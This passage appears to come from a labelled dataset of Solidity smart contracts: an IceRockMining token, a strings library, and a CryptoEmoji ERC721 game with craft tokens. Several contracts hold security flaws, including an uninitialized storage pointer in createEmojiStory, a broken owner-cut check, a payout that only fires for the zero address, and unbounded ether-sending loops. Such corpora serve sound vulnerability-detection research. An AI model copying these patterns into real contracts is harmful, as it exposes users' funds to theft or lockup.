function getKeyByIndex(itMapAddressUint storage self, uint idx) internal constant returns (address) {
return self.keys[idx];
}
function getValueByIndex(itMapAddressUint storage self, uint idx) internal constant returns (uint) {
return self.data[self.keys[idx]].value;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address who) public constant returns (uint value);
function allowance(address owner, address spender) public constant returns (uint _allowance);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract IceRockMining is ERC20{
using itMaps for itMaps.itMapAddressUint;
uint256 initialSupply = 20000000;
string public constant name = "ICE ROCK MINING";
string public constant symbol = "ROCK2";
uint currentUSDExchangeRate = 1340;
uint bonus = 0;
uint priceUSD = 1;
address IceRockMiningAddress;
itMaps.itMapAddressUint balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) approvedDividends;
event Burned(address indexed from, uint amount);
event DividendsTransfered(address to, uint amount);
modifier onlyOwner {
if (msg.sender == IceRockMiningAddress) {
_;
}
}
function totalSupply() public constant returns (uint256) {
return initialSupply;
}
function balanceOf(address tokenHolder) public view returns (uint256 balance) {
return balances.get(tokenHolder);
}
function allowance(address owner, address spender) public constant returns (uint256) {
return allowed[owner][spender];
}
function transfer(address to, uint value) public returns (bool success) {
if (balances.get(msg.sender) >= value && value > 0) {
balances.insert(msg.sender, balances.get(msg.sender)-value);
if (balances.contains(to)) {
balances.insert(to, balances.get(to)+value);
}
else {
balances.insert(to, value);
}
Transfer(msg.sender, to, value);
return true;
} else return false;
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances.get(from) >= value && allowed[from][msg.sender] >= value && value > 0) {
uint amountToInsert = value;
if (balances.contains(to))
amountToInsert = amountToInsert+balances.get(to);
balances.insert(to, amountToInsert);
balances.insert(from, balances.get(from) - value);
allowed[from][msg.sender] = allowed[from][msg.sender] - value;
Transfer(from, to, value);
return true;
} else
return false;
}
function approve(address spender, uint value) public returns (bool success) {
if ((value != 0) && (balances.get(msg.sender) >= value)){
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
} else{
return false;
}
}
function IceRockMining() public {
IceRockMiningAddress = msg.sender;
balances.insert(IceRockMiningAddress, initialSupply);
}
function setCurrentExchangeRate (uint rate) public onlyOwner{
currentUSDExchangeRate = rate;
}
function setBonus (uint value) public onlyOwner{
bonus = value;
}
function send(address addr, uint amount) public onlyOwner {
sendp(addr, amount);
}
function sendp(address addr, uint amount) internal {
require(addr != IceRockMiningAddress);
require(amount > 0);
require (balances.get(IceRockMiningAddress)>=amount);
if (balances.contains(addr)) {
balances.insert(addr, balances.get(addr)+amount);
}
else {
balances.insert(addr, amount);
}
balances.insert(IceRockMiningAddress, balances.get(IceRockMiningAddress)-amount);
Transfer(IceRockMiningAddress, addr, amount);
}
function () public payable{
uint amountInUSDollars = msg.value * currentUSDExchangeRate / 10**18;
uint valueToPass = amountInUSDollars / priceUSD;
valueToPass = (valueToPass * (100 + bonus))/100;
if (balances.get(IceRockMiningAddress) >= valueToPass) {
if (balances.contains(msg.sender)) {
balances.insert(msg.sender, balances.get(msg.sender)+valueToPass);
}
else {
balances.insert(msg.sender, valueToPass);
}
balances.insert(IceRockMiningAddress, balances.get(IceRockMiningAddress)-valueToPass);
Transfer(IceRockMiningAddress, msg.sender, valueToPass);
}
}
function approveDividends (uint totalDividendsAmount) public onlyOwner {
uint256 dividendsPerToken = totalDividendsAmount*10**18 / initialSupply;
for (uint256 i = 0; i<balances.size(); i += 1) {
address tokenHolder = balances.getKeyByIndex(i);
if (balances.get(tokenHolder)>0)
approvedDividends[tokenHolder] = balances.get(tokenHolder)*dividendsPerToken;
}
}
function burnUnsold() public onlyOwner returns (bool success) {
uint burningAmount = balances.get(IceRockMiningAddress);
initialSupply -= burningAmount;
balances.insert(IceRockMiningAddress, 0);
Burned(IceRockMiningAddress, burningAmount);
return true;
}
function approvedDividendsOf(address tokenHolder) public view returns (uint256) {
return approvedDividends[tokenHolder];
}
function transferAllDividends() public onlyOwner{
for (uint256 i = 0; i< balances.size(); i += 1) {
address tokenHolder = balances.getKeyByIndex(i);
if (approvedDividends[tokenHolder] > 0)
{
tokenHolder.transfer(approvedDividends[tokenHolder]);
DividendsTransfered (tokenHolder, approvedDividends[tokenHolder]);
approvedDividends[tokenHolder] = 0;
}
}
}
function withdraw(uint amount) public onlyOwner{
IceRockMiningAddress.transfer(amount);
}
} | 0 | 526 |
pragma solidity ^0.4.18;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal returns (slice ret) {
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice self) internal returns (uint l) {
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
len = 1;
} else if(b < 0xE0) {
len = 2;
} else if(b < 0xF0) {
len = 3;
} else {
len = 4;
}
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
assembly { word:= mload(mload(add(self, 32))) }
var b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, length), sha3(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop:
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit:
}
return ptr;
} else {
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop:
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret:
ptr := add(ptr, needlelen)
exit:
}
return ptr;
} else {
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
function count(slice self, slice needle) internal returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
length += parts[i]._len;
var ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MutableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount, uint256 balance, uint256 totalSupply);
event Burn(address indexed burner, uint256 value, uint256 balance, uint256 totalSupply);
address master;
function setContractMaster(address _newMaster) onlyOwner public {
require(_newMaster != address(0));
require(EmojiToken(_newMaster).isEmoji());
master = _newMaster;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(master == msg.sender);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount, balances[_to], totalSupply_);
Transfer(address(0), _to, _amount);
return true;
}
function burn(uint256 _value, address _owner) public {
require(master == msg.sender);
require(_value <= balances[_owner]);
address burner = _owner;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value, balances[burner], totalSupply_);
}
}
contract CraftToken is MutableToken {
string public name;
string public symbol;
uint8 public decimals;
function CraftToken(string emoji, string symb) public {
require(EmojiToken(msg.sender).isEmoji());
master = msg.sender;
name = emoji;
symbol = symb;
decimals = 8;
}
}
contract EmojiToken is ERC721 {
using strings for *;
event Birth(uint256 tokenId, string name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint256 tokenId);
event EmojiMessageUpdated(address from, uint256 tokenId, string message);
event TokenBurnt(uint256 tokenId, address master);
string public constant NAME = "CryptoEmoji";
string public constant SYMBOL = "CE";
uint256 private constant PROMO_CREATION_LIMIT = 1000;
uint256 private startingPrice = 0.001 ether;
uint256 private firstStepLimit = 0.063 ether;
uint256 private secondStepLimit = 0.52 ether;
uint256 ownerCut = 5;
bool ownerCutIsLocked;
uint256 oneCraftToken = 100000000;
mapping (uint256 => address) public emojiIndexToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) public emojiIndexToApproved;
mapping (uint256 => uint256) private emojiIndexToPrice;
mapping (string => bool) private emojiCreated;
mapping (uint256 => address) private emojiCraftTokenAddress;
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
struct Emoji {
string name;
string msg;
}
struct MemoryHolder {
mapping(uint256 => uint256) bal;
mapping(uint256 => uint256) used;
}
Emoji[] private emojis;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
function EmojiToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function isEmoji() public returns (bool) {
return true;
}
function migrateCraftTokenMaster(uint tokenId, address newMasterContract) public onlyCLevel {
CraftToken(emojiCraftTokenAddress[tokenId]).setContractMaster(newMasterContract);
}
function approve(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
emojiIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function createPromoEmoji(address _owner, string _name, string _symb, uint256 _price) public onlyCLevel {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address emojiOwner = _owner;
if (emojiOwner == address(0)) {
emojiOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
uint256 indx = _createEmoji(_name, emojiOwner, _price);
emojiCraftTokenAddress[indx] = new CraftToken(_name, _symb);
}
function createBaseEmoji(string _name, string _symb) public onlyCLevel {
uint256 indx = _createEmoji(_name, address(this), startingPrice);
emojiCraftTokenAddress[indx] = new CraftToken(_name, _symb);
}
function createEmojiStory(uint[] _parts) public {
MemoryHolder storage memD;
string memory mashUp = "";
uint price;
for(uint i = 0; i < _parts.length; i++) {
if(memD.bal[_parts[i]] == 0) {
memD.bal[_parts[i]] = CraftToken(emojiCraftTokenAddress[_parts[i]]).balanceOf(msg.sender);
}
memD.used[_parts[i]]++;
require(CraftToken(emojiCraftTokenAddress[_parts[i]]).balanceOf(msg.sender) >= memD.used[_parts[i]]);
price += emojiIndexToPrice[_parts[i]];
mashUp = mashUp.toSlice().concat(emojis[_parts[i]].name.toSlice());
}
_createEmoji(mashUp,msg.sender,price);
for(uint iii = 0; iii < _parts.length; iii++) {
CraftToken(emojiCraftTokenAddress[_parts[iii]]).burn(oneCraftToken, msg.sender);
TokenBurnt(_parts[iii], emojiCraftTokenAddress[_parts[iii]]);
}
}
function getCraftTokenAddress(uint256 _tokenId) public view returns (
address masterErc20
) {
masterErc20 = emojiCraftTokenAddress[_tokenId];
}
function getEmoji(uint256 _tokenId) public view returns (
string emojiName,
string emojiMsg,
uint256 sellingPrice,
address owner
) {
Emoji storage emojiObj = emojis[_tokenId];
emojiName = emojiObj.name;
emojiMsg = emojiObj.msg;
sellingPrice = emojiIndexToPrice[_tokenId];
owner = emojiIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return NAME;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = emojiIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = emojiIndexToOwner[_tokenId];
uint sellingPrice = emojiIndexToPrice[_tokenId];
address newOwner = msg.sender;
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice);
uint256 percentage = SafeMath.sub(100, ownerCut);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentage), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
if (sellingPrice < firstStepLimit) {
emojiIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), percentage);
} else if (sellingPrice < secondStepLimit) {
emojiIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 130), percentage);
} else {
emojiIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), percentage);
}
_transfer(oldOwner, newOwner, _tokenId);
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, emojiIndexToPrice[_tokenId], oldOwner, newOwner, emojis[_tokenId].name);
msg.sender.transfer(purchaseExcess);
if(emojiCraftTokenAddress[_tokenId] != address(0)) {
CraftToken(emojiCraftTokenAddress[_tokenId]).mint(oldOwner,oneCraftToken);
CraftToken(emojiCraftTokenAddress[_tokenId]).mint(msg.sender,oneCraftToken);
}
}
function transferTokenToCEO(uint256 _tokenId, uint qty) public onlyCLevel {
CraftToken(emojiCraftTokenAddress[_tokenId]).transfer(ceoAddress,qty);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return emojiIndexToPrice[_tokenId];
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCOO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = emojiIndexToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function setEmojiMsg(uint256 _tokenId, string message) public {
require(_owns(msg.sender, _tokenId));
Emoji storage item = emojis[_tokenId];
item.msg = bytes32ToString(stringToBytes32(message));
EmojiMessageUpdated(msg.sender, _tokenId, item.msg);
}
function stringToBytes32(string memory source) internal returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) constant internal returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalEmojis = totalSupply();
uint256 resultIndex = 0;
uint256 emojiId;
for (emojiId = 0; emojiId <= totalEmojis; emojiId++) {
if (emojiIndexToOwner[emojiId] == _owner) {
result[resultIndex] = emojiId;
resultIndex++;
}
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return emojis.length;
}
function transfer(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return emojiIndexToApproved[_tokenId] == _to;
}
function _createEmoji(string _name, address _owner, uint256 _price) private returns(uint256) {
require(emojiCreated[_name] == false);
Emoji memory _emoji = Emoji({
name: _name,
msg: "?New?"
});
uint256 newEmojiId = emojis.push(_emoji) - 1;
require(newEmojiId == uint256(uint32(newEmojiId)));
Birth(newEmojiId, _name, _owner);
emojiIndexToPrice[newEmojiId] = _price;
_transfer(address(0), _owner, newEmojiId);
emojiCreated[_name] = true;
return newEmojiId;
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == emojiIndexToOwner[_tokenId];
}
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
}
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
emojiIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete emojiIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function updateOwnerCut(uint256 _newCut) external onlyCLevel{
require(ownerCut <= 9);
require(ownerCutIsLocked == false);
ownerCut = _newCut;
}
function lockOwnerCut(uint confirmCode) external onlyCLevel{
if(confirmCode == 197428124) {
ownerCutIsLocked = true;
}
}
} | 1 | 4,409 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
